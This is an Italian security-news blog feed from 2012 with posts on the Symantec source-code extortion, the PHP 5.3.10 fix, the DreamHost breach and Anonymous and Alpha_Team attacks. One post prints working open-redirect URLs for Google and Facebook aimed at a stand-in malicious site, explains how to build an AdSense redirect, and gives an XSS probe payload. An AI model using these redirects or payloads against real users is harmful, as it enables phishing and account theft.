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	<title>Capn3m0 WebSecurity &#187; Sicurezza</title>
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	<description>...hacking, security, wifi and more...</description>
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		<title>Anoymous rilascia il codice sorgente Symantec</title>
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		<pubDate>Tue, 07 Feb 2012 10:03:49 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
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		<description><![CDATA[Ieri sera è stato pubblicato questo annuncio dal gruppo AnonymousIRC in cui comunicavano che entro breve avrebbero reso disponibile il codice sorgente dei prodotti Symantec! Che il furto fosse avvenuto lo si sapeva sia per l&#8217;annuncio dato su Twitter dagli hacker, sia perché proprio qualche giorno fa Symantec aveva comunicato a tutti i suoi clienti di disabilitare pcAnywhere. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/02/symantec2.png" rel="lightbox[4837]" title="Symantec"><img class="alignleft size-thumbnail wp-image-4838" title="Symantec" src="http://www.capn3m0.org/wp-content/uploads/2012/02/symantec2-150x150.png" alt="Anoymous rilascia il codice sorgente Symantec" width="150" height="150" /></a>Ieri sera è stato pubblicato <a title="Symantec Source Code " href="https://twitter.com/#!/AnonymousIRC/status/166676746689716226" target="_blank">questo annuncio</a> dal gruppo <a title="AnonymousIRC" href="https://twitter.com/#!/AnonymousIRC" target="_blank">AnonymousIRC</a> in cui comunicavano che entro breve avrebbero <strong>reso disponibile il codice sorgente dei prodotti Symantec! </strong>Che il furto fosse avvenuto lo si sapeva sia per l&#8217;annuncio dato su Twitter dagli<strong> hacker</strong>, sia perché proprio qualche giorno fa <strong>Symantec</strong> aveva comunicato a tutti i suoi clienti di <strong><a title="pcAnywhere, Symantec consiglia di disinstallarlo!" href="http://www.capn3m0.org/pcanywhere-symantec-consiglia-disinstallarlo.html">disabilitare pcAnywhere</a></strong>.</p>
<p>L&#8217;unica comunicazione ufficiale che venne fatta in merito fu da parte di un rappresentate Symantec che rilasciò le seguenti informazioni intervistato dalla rivista <strong><a title="CNET" href="http://www.cnet.com" target="_blank">CNET</a></strong>:</p>
<p style="padding-left: 30px;"><em>In January an individual claiming to be part of the &#8216;Anonymous&#8217; group attempted to extort a payment from Symantec in exchange for not publicly posting stolen Symantec source code they claimed to have in their possession. Symantec conducted an internal investigation into this incident and also contacted law enforcement given the attempted extortion and apparent theft of intellectual property. The communications with the person(s) attempting to extort the payment from Symantec were part of the law enforcement investigation. Given that the investigation is still ongoing, we are not going to disclose the law enforcement agencies involved and have no additional information to provide.</em></p>
<p>Ieri sera è stato pubblicato a <a title="Scambio Email Symantec Hacker" href="http://pastebin.com/GJEKf1T9" target="_blank"><strong>questo link</strong></a> uno scambio email tra un <strong>dipendente Symantec</strong>, Sam Thomas, e tale <strong>Yamatough</strong>, appartenente al gruppo in possesso del codice in cui si evidenzia un tentativo di estorsione ai danni della stessa Symantec.</p>
<p>Lo scambio email è andato avanti per tutto il mese scorso e a leggerlo dall&#8217;inizio <strong>appassiona quanto un buon thriller</strong>.</p>
<p>I primi scambi email fanno intuire che già dal 18 Gennaio scorso gli hacker, nella persona di <strong>Yamatough</strong>, avevano avanzato richieste economiche per evitare il rilascio o la vendita del codice sorgente in loro possesso. La cifra richiesta è di <strong>50.000 dollari!</strong></p>
<p>Da quel momento <strong>Symantec</strong> avanza alcune domande per determinare se è vero che loro sono in possesso del codice, chiedendo di mandargli alcuni file specifici, e di indicargli la path dove erano presenti.</p>
<p>Per problemi tecnici i file non sono mai arrivati ma le path si e pare questo sia bastato per determinare la veridicità di ciò che dicevano gli hackers. La<strong> Symantec</strong> comunque da quel momento si è attivata per cercare di allestire un server Ftp dove farsi trasferire i file ma tale operazione ha richiesto molto più tempo del previsto<strong> facendo innervosire un po&#8217; gli hacker</strong> che subito hanno cercato di concludere iniziando a dare istruzioni su come effettuare i pagamenti.</p>
<p>I soldi dovevano essere inviati utilizzando la società <strong><a title="Liberty Reserve" href="http://www.libertyreserve.com/" target="_blank">Liberty Reserve</a></strong> con sede in Costa Rica.</p>
<p>Questa formula non è stata subito accettata da <strong>Symantec che ha cercato di trattare</strong> sia sul pagamento sia sul tipo di transazione. Hanno infatti proposto di inviare 1000 dollari tramite Paypal come gesto di buon auspicio per far capire che l&#8217;intenzioni erano comunque di pagare.</p>
<p><strong>Yamatough</strong> ha rifiutato l&#8217;offerta e rendendosi conto che si cercava di perder tempo ha schiacciato sull&#8217;acceleratore ribadendo che il metodo di pagamento era quello e che in alternativa c&#8217;erano altre persone già interessate all&#8217;acquisto all&#8217;asta del codice. Ha ribadito che <strong>trattare prima con Symantec era una sorta di loro codice di onore</strong> che prevede di trattare con la &#8220;vittima&#8221; prima di divulgare le informazioni rubategli.</p>
<p>A questo punto Thomas cerca di far capire che si è attivato per far pervenire loro il pagamento ma essendo una grande Azienda non è facile mettere d&#8217;accordo tutti i boss, il reparto Finanza etc. e cerca sempre di perdere tempo proponendo un nuovo sistema di pagamento.</p>
<p>Il <strong>gruppo di hacker</strong> nel frattempo aveva iniziato a sospettare che tutto questo &#8220;prender tempo&#8221; fosse un tentativo di tracciare le conversazioni e ogni tanto, nei momenti in cui attendono risposta da <strong>Symantec</strong>, mandano email dicendo &#8220;<strong>salutate l&#8217;FBI per noi</strong>&#8221; o &#8220;<strong>non provate a tracciarci altrimenti diffonderemo subito il codice sorgente</strong>&#8220;.</p>
<p>Tutto questo scambio di email iniziato a Gennaio è arrivato fino alla mezzanotte di ieri sera quando il <strong>gruppo di hacker ha dato un ultimatum di 10 minuti a Symantec</strong> e successivamente ha pubblicato su Twitter il <strong><a title="Symantec Source Code presto rilasciato!" href="https://twitter.com/#!/AnonymousIRC/status/166676746689716226" target="_blank">messaggio</a></strong> in cui annunciavano il <strong>rilascio del codice sorgente Symantec</strong>.</p>
<p>Di seguito l&#8217;ultimo scambio mail con <strong>Symantec</strong>, nella figura di Sam Thomas, che spiega di non poter prendere decisioni in 10 minuti.</p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/02/hackersymantec.jpg" rel="lightbox[4837]" title="Ultimatum Anonymous - Symantec"><img class="aligncenter size-medium wp-image-4839" title="Ultimatum Anonymous - Symantec" src="http://www.capn3m0.org/wp-content/uploads/2012/02/hackersymantec-300x198.jpg" alt="Anoymous rilascia il codice sorgente Symantec" width="300" height="198" /></a></p>
<p>Circa 4 ore dopo il <strong>sorgente Symantec era on line</strong> come riportato in questo altro <strong><a title="Sorce Code Symantec On Line" href="https://twitter.com/#!/AnonymousIRC/status/166744502315388930" target="_blank">annuncio</a></strong> contenente un link Torrent scaricabile da <strong>The Pirate Bay</strong>! Il file ha una dimensione di 1.2 GB ed è rinominato in  &#8221;<strong>Symantec&#8217;s pcAnywhere Leaked Source Code</strong>&#8220;.</p>
<p>Per il momento non ci sono state dichiarazioni da parte di <strong>Symantec</strong> né di <strong>Liberty Reserve</strong>.</p>
<p>Aggiorneremo l&#8217;articolo non appena ci saranno sviluppi.</p>
<p><strong>7/2/2012 21.06</strong> &#8211; <strong>Symantec</strong> <a title="ComputerWorld" href="http://www.computerworld.com/s/article/9224039/Symantec_expects_Anonymous_to_publish_more_stolen_source_code" target="_blank">conferma</a> che il codice pubblicato <strong>è il sorgente di pcAnywhere</strong> e si aspetta che nei prossimi giorni venga rilasciata la seconda metà del source code.</p>
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		<title>pcAnywhere, Symantec consiglia di disinstallarlo!</title>
		<link>http://www.capn3m0.org/pcanywhere-symantec-consiglia-disinstallarlo.html</link>
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		<pubDate>Sun, 05 Feb 2012 18:21:25 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[furto codice symantec]]></category>
		<category><![CDATA[pcanywhere vulnerabilità]]></category>
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		<category><![CDATA[symantec pcanywhere]]></category>
		<category><![CDATA[symantec vulnerabilità]]></category>

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		<description><![CDATA[In seguito alle notizie diffuse negli ultimi mesi circa un furto di codice sorgente dei software Symantec, la stessa azienda recentemente ha invitato tutti gli utenti dell&#8217;applicazione pcAnywhere a disinstallarla o disabilitarla. Il furto del codice ha interessato tutta la famiglia degli applicativi Symantec del 2006 ossia: Norton Antivirus Corporate Edition Norton Internet Security Norton [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/02/symantec.gif" rel="lightbox[4830]" title="Symantec"><img class="alignleft size-thumbnail wp-image-4831" title="Symantec" src="http://www.capn3m0.org/wp-content/uploads/2012/02/symantec-150x150.gif" alt="pcAnywhere, Symantec consiglia di disinstallarlo!" width="150" height="150" /></a>In seguito alle notizie diffuse negli ultimi mesi circa un furto di codice sorgente dei software <strong>Symantec</strong>, la stessa azienda recentemente ha invitato tutti gli utenti dell&#8217;applicazione <strong>pcAnywhere</strong> a disinstallarla o disabilitarla.</p>
<p>Il furto del codice ha interessato tutta la famiglia degli applicativi Symantec del 2006 ossia:</p>
<ul>
<li>Norton Antivirus Corporate Edition</li>
<li>Norton Internet Security</li>
<li>Norton SystemWorks (Norton Utilities and Norton GoBack)</li>
<li>pcAnywhere</li>
</ul>
<p>Al momento la vulnerabilità è nota solo per <strong>pcAnywhere</strong> e Symantec informa che chi ha avuto questo applicativo installato è stato <strong>esposto ad un rischio maggiore</strong> per tutto il tempo dell&#8217;attività del prodotto.</p>
<p>Tutti gli utenti di <strong>pcAnywhere</strong> sono quindi invitati a disabilitarlo o ad aggiornarlo all&#8217;ultima release.</p>
<p>Maggiori informazioni potete trovarle direttamente nel sito Symantec a <a title="Symantec" href="http://www.symantec.com/theme.jsp?themeid=anonymous-code-claims&amp;inid=us_ghp_banner1_anonymous" target="_blank">questa pagina</a>.</p>
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		<title>Rilasciato Php 5.3.10!</title>
		<link>http://www.capn3m0.org/rilasciato-php-5.3.10.html</link>
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		<pubDate>Fri, 03 Feb 2012 08:52:20 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[falla php]]></category>
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		<category><![CDATA[php5.3.10]]></category>
		<category><![CDATA[remote code execution]]></category>
		<category><![CDATA[sicurezza php]]></category>
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		<description><![CDATA[Ieri è stata rilasciata la versione 5.3.10 del Php per risolvere una falla di sicurezza! La vulnerabilità individuata da Stefan Esser consente di eseguire codice sulla macchina vittima con i privilegi dell&#8217;utente Web (remote code execution). Come riportato su SecurityTracker mandando dati manipolati al Php si può generare un errore nella memoria del php_register_variable_ex() consentendo [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/02/php.png" rel="lightbox[4814]" title="Php 5.3.10"><img class="alignleft size-thumbnail wp-image-4815" title="Php 5.3.10" src="http://www.capn3m0.org/wp-content/uploads/2012/02/php-150x150.png" alt="Rilasciato Php 5.3.10!" width="150" height="150" /></a>Ieri è stata rilasciata la versione <strong>5.3.10</strong> del <strong>Php</strong> per risolvere una <strong>falla di sicurezza</strong>!</p>
<p>La <strong>vulnerabilità</strong> individuata da Stefan Esser consente di eseguire codice sulla macchina vittima con i privilegi dell&#8217;utente Web (<strong>remote code execution</strong>). Come riportato su <a title="SecurityTracker" href="http://securitytracker.com/id/1026631" target="_blank"><strong>SecurityTracker</strong></a> mandando dati manipolati al Php si può generare un errore nella memoria del <strong>php_register_variable_ex()</strong> consentendo di eseguire codice.</p>
<p>Per tutti coloro che amministrano Server è consigliabile provvedere ad aggiornare alla versione <strong>Php 5.3.10</strong> quanto prima.</p>
<p><a title="Php 5.3.10" href="http://www.php.net/archive/2012.php#id2012-02-02-1" target="_blank">Qui</a> trovate l&#8217;annuncio ufficiale di Php.</p>
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		</item>
		<item>
		<title>Vulnerabilità Open Redirect e XSS per Google e FaceBook</title>
		<link>http://www.capn3m0.org/vulnerabilita-xss-open-redirection-google.html</link>
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		<pubDate>Thu, 26 Jan 2012 22:11:24 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[facebook exploit]]></category>
		<category><![CDATA[Google]]></category>
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		<category><![CDATA[phishing]]></category>
		<category><![CDATA[vulnerabilità]]></category>
		<category><![CDATA[web security]]></category>

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		<description><![CDATA[Recentemente sono state individuate alcune vulnerabilità tra le pagine dei Servizi di Google e FaceBook. Sono falle di tipo Open Redirect che permettono di effettuare un redirect senza necessità di manipolare stringhe o eseguire azioni particolari. Open, infatti, sta ad indicare che il sito affetto da tale falla non effettua alcun controllo sull&#8217;input ed esegue il codice [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4705" title="Google" src="http://www.capn3m0.org/wp-content/uploads/2012/01/Google-21-150x150.jpg" alt="Vulnerabilità Open Redirect e XSS per Google e FaceBook" width="150" height="150" /></p>
<p>Recentemente sono state individuate <strong>alcune vulnerabilità</strong> tra le pagine dei Servizi di <strong>Google e FaceBook</strong>. Sono falle di tipo <strong>Open Redirect </strong>che permettono di effettuare un redirect senza necessità di manipolare stringhe o eseguire azioni particolari.</p>
<p>Open, infatti, sta ad indicare che il sito affetto da tale falla non effettua alcun controllo sull&#8217;input ed <strong>esegue il codice per cui è programmato sempre e comunque</strong>. Il vantaggio di poter sfruttare vulnerabilità come questa è quello di poter utilizzare url di domini di cui la gente non mette in dubbio la provenienza (<strong>Google appunto</strong>) per farli cliccare e redirettarli a siti di <strong>phishing</strong> o similari.</p>
<p>Immaginate l&#8217;utente medio che riceve un&#8217;<strong>email clone di Google</strong> che gli indica di cliccare  un  url del dominio &#8220;<strong>google.com</strong>&#8221; ed inserire i suoi dati per via di un qualche motivo plausibile. <strong>Quanti penserebbero che quell&#8217;url nasconda una minaccia?</strong></p>
<p>In questo caso l&#8217;url affetto da tale vulnerabilità è appartenente al Servizio <strong>Google Accounts</strong> ed è il seguente:</p>
<p><cite><strong>https://accounts.google.com/o/oauth2/auth?redirect_uri=http://www.sitomalevolo.com</strong></cite></p>
<p>Allo stato attuale la falla è <strong>già stata risolta</strong> e provando un redirect verso <strong>capn3m0.org</strong> si ottiene un errore di &#8220;Bad Request&#8221;:</p>
<p><a href="https://accounts.google.com/o/oauth2/auth?redirect_uri=www.capn3m0.org" target="_blank">https://accounts.google.com/o/oauth2/auth?redirect_uri=www.capn3m0.org</a></p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/googlebadrequest.jpg" rel="lightbox[4704]" title="Google Bad Request"><img class="aligncenter size-medium wp-image-4706" title="Google Bad Request" src="http://www.capn3m0.org/wp-content/uploads/2012/01/googlebadrequest-300x118.jpg" alt="Vulnerabilità Open Redirect e XSS per Google e FaceBook" width="300" height="118" /></a></p>
<p>Questa vulnerabilità è stata individuata da <strong>Ucha Gobejishvili aka</strong><strong> longrifle0x</strong> che vanta solo nell&#8217;ultima settimana una serie di XSS in siti degni di nota:<strong> Google, Apple, Sony Ericcsson</strong>.</p>
<p>Sempre<strong> longrifle0x</strong> ha individuato una<a href="http://thehackernews.com/2012/01/cross-site-scripting-xss-vulnerability.html?utm_source=feedburner&amp;utm_medium=twitter&amp;utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Daily+Cyber+News+Updates%29" target="_blank"> vulnerabilità <strong>XSS</strong></a> alla pagina delle <strong>Google App for Business</strong>. Per verificare la vulnerabilità è necessario andare all&#8217;url:</p>
<p><a title="Google Apps for Business" href="https://www.google.com/a/cpanel/premier/new3?hl=en" target="_blank">https://www.google.com/a/cpanel/premier/new3?hl=en</a></p>
<p>ed inserire nel campo &#8220;Domain&#8221; questo codice:</p>
<p><strong><em>&lt;IFRAME SRC=&#8221;javascript:alert(&#8216;XSS&#8217;);&#8221;&gt;&lt;/IFRAME&gt;</em></strong></p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/xss-in-google.png" rel="lightbox[4704]" title="Google XSS"><img class="aligncenter size-medium wp-image-4710" title="Google XSS" src="http://www.capn3m0.org/wp-content/uploads/2012/01/xss-in-google-300x137.png" alt="Vulnerabilità Open Redirect e XSS per Google e FaceBook" width="300" height="137" /></a></p>
<p><strong><a title="longrifle0x Hacked Sites" href="http://xssed.com/archive/author=longrifle0x/" target="_blank">Qui</a></strong> il suo &#8220;curriculum&#8221;! <img src='http://www.capn3m0.org/wp-includes/images/smilies/icon_wink.gif' alt="Vulnerabilità Open Redirect e XSS per Google e FaceBook" class='wp-smiley' title="Vulnerabilità Open Redirect e XSS per Google e FaceBook pics" /> </p>
<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/fb.jpg" rel="lightbox[4704]" title="FaceBook Logo"><img class="alignright size-full wp-image-4708" title="FaceBook Logo" src="http://www.capn3m0.org/wp-content/uploads/2012/01/fb.jpg" alt="Vulnerabilità Open Redirect e XSS per Google e FaceBook" width="125" height="78" /></a>La seconda vulnerabilità, <a href="http://thehackernews.com/2012/01/url-redirection-vulnerability-in-google.html" target="_blank">individuata da <strong>ZeRtOx</strong></a> del gruppo <strong>Devitel</strong>, riguarda <strong>FaceBook</strong> ed è sempre di tipo <strong>Open Redirect.</strong> Il codice è il seguente:</p>
<p><strong><cite>http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&amp;u=www.sitomalevolo.com</cite></strong></p>
<p>e attualmente è ancora presente come dimostra il link che rediretta a<strong> capn3m0.org:</strong></p>
<p><a href="http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&amp;u=www.capn3m0.org" target="_blank">http://www.facebook.com/l.php?h=5AQH8ROsPAQEOTSTw7sgoW1LhviRUBr6iFCcj4C8YmUcC8A&amp;u=www.capn3m0.org</a></p>
<p>Infine segnalo una terza vulnerabilità <strong>Open Redirect</strong> sempre per i Servizi di <strong>Google: Ad Services.</strong> I banner di Adsense sono associati ad un url fatto nel seguente modo:</p>
<p style="padding-left: 30px;">http://www.googleadservices.com/pagead/aclk?<br />
<strong>sa</strong>=L<br />
&amp;<strong>ai</strong>=BCN0tjMAhT9ijEq2Q0QXP1tm2BKGTn-sB4e7Th0fAjbcB8IQOEAEYASCZ0NoLOABQg7et0Pn_____AWD98vyD3BCgAYfM69oDsgEPd3d3LmNhcG4zbTAub3JnugEKMzM2eDI4MF9hc8gBBNoBUWh0dHA6Ly93d3cuY2FwbjNtMC5vcmcvZmlsZXNoYXJpbmctcG9zdC1tZWdhdXBsb2FkLWNoaXVzaS1maWxlc29uaWMtdXBsb2FkZWQuaHRtbIACAbgCGMgC4afaFKgDAfUDAAAgwPUDAAAAEIgGAaAGBA<br />
&amp;<strong>num</strong>=1<br />
&amp;<strong>cid</strong>=5GhoQFqmzEdFESSc_Vjf5Gxi<br />
&amp;<strong>sig</strong>=AOD64_2aoaqhlTxnKAENG806XtTTXpAjFw<br />
&amp;<strong>client</strong>=ca-pub-XXXXXXXXXXXXXXXX<br />
&amp;<strong>adurl</strong>=<strong>http://www.sitomalevolo.com</strong></p>
<p>I parametri che riceve in input devono essere tutti corretti ad eccezione del campo <strong>adurl</strong> che invece viene valorizzato con il link verso cui vogliamo che rediretti.</p>
<p>Come potete immaginare trovare un link con tutti i dati corretti è molto semplice. Basta navigare tra i siti che mostrano banner di <strong>Google AdSense</strong> e copiarsi il link.</p>
<p>Quest&#8217;ultima falla l&#8217;ho trovata ispirato dalle due precedenti mentre scrivevo l&#8217;articolo. Se conoscete chi ne ha parlato prima di me segnalatemelo che provvederò a mettere l&#8217;autore.</p>
<p>&nbsp;</p>
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		<title>DreamHost, cambio password per tutti i Clienti!</title>
		<link>http://www.capn3m0.org/dreamhost-cambio-password-tutti-client.html</link>
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		<pubDate>Sun, 22 Jan 2012 10:56:39 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
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		<category><![CDATA[dreamhost violated]]></category>
		<category><![CDATA[password hack]]></category>
		<category><![CDATA[sicurezza dreamhost]]></category>
		<category><![CDATA[vulnerabilità dreamhost]]></category>

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		<description><![CDATA[DreamHost tra i più grandi fornitori di Servizi Hosting Americani la scorsa notte ha inviato un&#8217;email a tutti i suoi Clienti invitandoli a modificare tutte le password Ftp poiché c&#8217;è la possibilità che queste siano finite in mano ad un gruppo di hackers. L&#8217;azienda ha provveduto ad effettuare un cambio password massivo che ha richiesto un [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/dreamhost.gif" rel="lightbox[4655]" title="dreamhost"><img class="alignleft size-thumbnail wp-image-4656" title="dreamhost" src="http://www.capn3m0.org/wp-content/uploads/2012/01/dreamhost-150x150.gif" alt="DreamHost, cambio password per tutti i Clienti!" width="150" height="150" /></a><strong><a title="DreamHost" href="http://dreamhost.com/" target="_blank">DreamHost</a></strong> tra i più grandi fornitori di Servizi Hosting Americani la scorsa notte ha inviato un&#8217;email a tutti i suoi Clienti invitandoli a <strong>modificare tutte le password Ftp</strong> poiché c&#8217;è la possibilità che queste siano finite in mano ad un gruppo di hackers.</p>
<p>L&#8217;azienda ha provveduto ad effettuare un cambio password massivo che ha richiesto un po&#8217; più del previsto dato che attualmente DreamHost gestisce oltre 1 milione di siti web. DreamHost ha anche pregato i propri Clienti <strong>di cambiare le password delle caselle email</strong> utilizzate come riferimento su DreamHost.</p>
<p>A questo link è possibile vedere gli aggiornamenti effettuati in tempo record da DreamHost:</p>
<p><a href="http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/" target="_blank">http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/</a></p>
<p>dove si può riscontrare che l&#8217;intervento di cambio password è ormai terminato.</p>
<p>Questo il testo dell&#8217;email inviata ai Clienti:</p>
<blockquote><p> IMPORTANT INFORMATION: We are writing to let you know that there may have been illegal and unauthorized access to some of your passwords at DreamHost today. <em><strong>Our security systems detected the potential breach this morning and we immediately took the defensive precaution of expiring and resetting all FTP/shell access passwords for all DreamHost customers and their users.</strong></em> There are three different types of passwords at DreamHost: a Web panel password (for logging in to the panel), e-mail passwords, and FTP/shell access passwords. Only the FTP/shell access passwords appear to have been compromised by the illegal access. Web panel passwords, e-mail passwords, and billing information for DreamHost customers were not affected or accessed. Refer to the following DreamHost status post for details:<a href="http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/">http://www.dreamhoststatus.com/2012/01/20/changing-ftpshell-passwords-due-to-security-issue/</a></p>
<p>IMPORTANT ACTION REQUIRED:</p>
<p>1. To create a new FTP/shell access password for your DreamHost account, please log in to your DreamHost Web panel (https://panel.dreamhost.com/), select &#8220;Manage Users&#8221; in the top left, then select &#8220;Edit&#8221; next to each user, and type in a new password. Make sure you click &#8220;Save Changes&#8221; at the bottom of the page.</p>
<p>2. We are also requesting that you change your e-mail password. We are not enforcing this change at this time as we do not believe that e-mail passwords were compromised. However we strongly recommend that you change your e-mail password as a precaution. To change the passwords for your e-mail users or yourself, log in to the DreamHost panel at (https://panel.dreamhost.com/), select &#8220;Manage Email&#8221; in the top left, select &#8220;Edit&#8221; next to each e-mail user address, and choose a new password for each. Make sure you click &#8220;Save Changes&#8221; at the bottom of the page.</p>
<p>We sincerely apologize for any inconvenience this may cause. If you have any additional questions about this process, please contact us through the support page in the panel.</p>
<p>Note that DreamHost will never ask you for personal or account information in an e-mail. Please exercise caution if you receive any other e-mails that ask for personal information or direct you to a Web site where you are asked to provide personal information.</p>
<p>Sincerely,</p>
<p>The DreamHost Team</p></blockquote>
<p>Come <a href="http://blog.dreamhost.com/2012/01/21/security-update/" target="_blank">spiega </a><strong>Simon Anderson</strong>, CEO di DreamHost, in risposta ad un cliente:<a href="http://www.capn3m0.org/wp-content/uploads/2012/01/simonanderson.jpg" rel="lightbox[4655]" title="simonanderson"><img class="alignright size-thumbnail wp-image-4657" title="simonanderson" src="http://www.capn3m0.org/wp-content/uploads/2012/01/simonanderson-150x150.jpg" alt="DreamHost, cambio password per tutti i Clienti!" width="150" height="150" /></a></p>
<blockquote><p>our systems have stored and used encrypted passwords for a number of years, however <em><strong>the hacker found a legacy pool of unencrypted FTP/shell passwords in a database table that we had not previously deleted</strong></em>. We’ve now confirmed that there are no more legacy unencrypted passwords in our systems. And we’re investigating further measures to ensure security of passwords including when a customer requests their password by email (this was not the issue here, though). Re your shell accounts, I’d suggest that you select a new password just to be sure.</p></blockquote>
<p>l&#8217;<strong>hacker ha avuto accesso ad una Tabella di un Database</strong> che per errore conteneva alcuni <strong>account Ftp e Shell non criptati</strong> che han poi permesso l&#8217;accesso a tutti i dati dei Clienti.</p>
<p>Per ora non ci sono state azioni/attacchi massivi verso gli account hackerati  e con il cambio password e la patch della vulnerabilità il problema dovrebbe essere risolto!</p>
]]></content:encoded>
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		<title>Alpha Team ancora a segno: Banca Sistema!</title>
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		<pubDate>Fri, 13 Jan 2012 20:22:32 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[Alpha_Team]]></category>
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		<category><![CDATA[banca sistemi hacked]]></category>
		<category><![CDATA[dump database]]></category>
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		<category><![CDATA[sicurezza informatica]]></category>
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		<description><![CDATA[L&#8217;Alpha_Team ancora una volta torna a far parlare di sé per un nuovo attacco ad una banca: la Banca Sistema! La protesta di internet negli ultimi giorni sta creando parecchi grattacapi ai sistemisti di Server &#8220;importanti&#8221;. La settimana scorsa l&#8217;Alpha_Team si era dichiarato al mondo rilasciando una lista di siti istituzionali di cui avevano violato [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.capn3m0.org/wp-content/uploads/2012/01/bancasistemalogo.jpg" rel="lightbox[4540]" title="Banca Sistemi"><img class="alignleft size-thumbnail wp-image-4541" title="Banca Sistemi" src="http://www.capn3m0.org/wp-content/uploads/2012/01/bancasistemalogo-150x39.jpg" alt="Alpha Team ancora a segno: Banca Sistema!" width="150" height="39" /></a>L&#8217;<a title="Alpha_Team Twitter" href="https://twitter.com/#!/pr0_alpha_team" target="_blank"><strong>Alpha_Team</strong></a> ancora una volta torna a far parlare di sé per un nuovo attacco ad una banca: la <a title="Banca Sistema" href="http://www.bancasistema.it/it/index_it.php" target="_blank"><strong>Banca Sistema</strong></a>!</p>
<p>La protesta di internet negli ultimi giorni sta creando parecchi grattacapi ai sistemisti di Server &#8220;importanti&#8221;. La settimana scorsa l&#8217;Alpha_Team si era dichiarato al mondo rilasciando una lista di siti istituzionali di cui avevano <a title="Siti istituzionali violati dal pr0_alpha_team" href="http://www.capn3m0.org/siti-istituzionali-violati-pr0_alpha_team.html"><strong>violato i Database</strong></a>. Tra questi vari siti c&#8217;era &#8220;<a href="http://italia.gov.it" target="_blank"><strong>italia.gov.it</strong></a>&#8221; che dopo l&#8217;attenzione ricevuta da parte dell&#8217;Alpha_Team ieri è stata vittima di un <a title="Anonymous lancia Operation Italy" href="http://www.capn3m0.org/anonymous-lancia-operation-italy.html" target="_blank">secondo attacco</a> di tipo <strong>DDOS</strong> questa volta firmato dal noto movimento di protesta on line <strong>Anonymous</strong>.</p>
<p>Come loro solito hanno pubblicato <strong>alcune delle informazioni sottratte </strong>dalle quali si riscontra che l&#8217;attacco anche in questo caso è stato di tipo <a title="Sql Injection Wikipedia" href="http://en.wikipedia.org/wiki/SQL_injection" target="_blank"><strong>Sql Injection</strong></a>. L&#8217;Alpha_Team non ha rilasciato informazioni in merito ma analizzando il <strong>dump a <a title="Dump Db Banca Sistemi" href="http://sprunge.us/jUUA" target="_blank">questo link</a></strong> si possono leggere l&#8217;information schema e alcuni records di varie tabelle del Database del sito della Banca.</p>
<p>Come potete vedere le Tabelle alle quali hanno avuto accesso sono tutte relative al sito e riguardano le varie aree dello stesso (le proposte on line, l&#8217;elenco delle news,etc) mentre altre sono invece a uso interno dei dipendenti/sistemisti come i <strong>dati di accesso delle caselle email</strong> o la <strong>lista degli utenti</strong> del sito, <strong>Administrator</strong> incluso.</p>
<p>Di queste notizie, come al solito, pochi parlano e le stesse <strong>vittime non comunicano nulla sull&#8217;attacco</strong>. Né sui loro siti né ai loro Clienti.</p>
<p>Se oltre questo fatto, già grave, si aggiunge che, come abbiamo visto nell&#8217;<a title="Intervista: 10 domande al pr0_alpha_team (aka Alpha_Team)" href="http://www.capn3m0.org/intervista-10-domande-al-pr0_alpha_team.html"><strong>intervista all&#8217;Alpha_Team</strong></a>, le falle di sicurezza non vengono corrette di sicuro il quadro generale della <strong>sicurezza informatica</strong> in Italia non ne esce positivo. Almeno per quelle &#8220;grandi&#8221; società dove ci si aspetta che la sicurezza sia un punto di forza!</p>
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		<title>Anonymous lancia Operation Italy</title>
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		<pubDate>Fri, 13 Jan 2012 00:23:27 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[Vulnerabilità]]></category>
		<category><![CDATA[Alpha_Team]]></category>
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		<category><![CDATA[operation italy]]></category>
		<category><![CDATA[opitaly]]></category>
		<category><![CDATA[pr0_alpha_team]]></category>
		<category><![CDATA[sito governo ddos]]></category>

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		<description><![CDATA[Anonymous colpisce ancora! Anonymous, la famosa rete di hackers che da tempo effettua azioni di hacking verso siti sensibili per rappresentare la voce del popolo, questo pomeriggio ha eseguito un attacco di tipo DDOS (Distributed Denial Of Service) che ha portato all&#8217;irraggiungibilità del dominio &#8220;italia.gov.it&#8221; per tutto il pomeriggio. Durante lo stesso attacco è stato [...]]]></description>
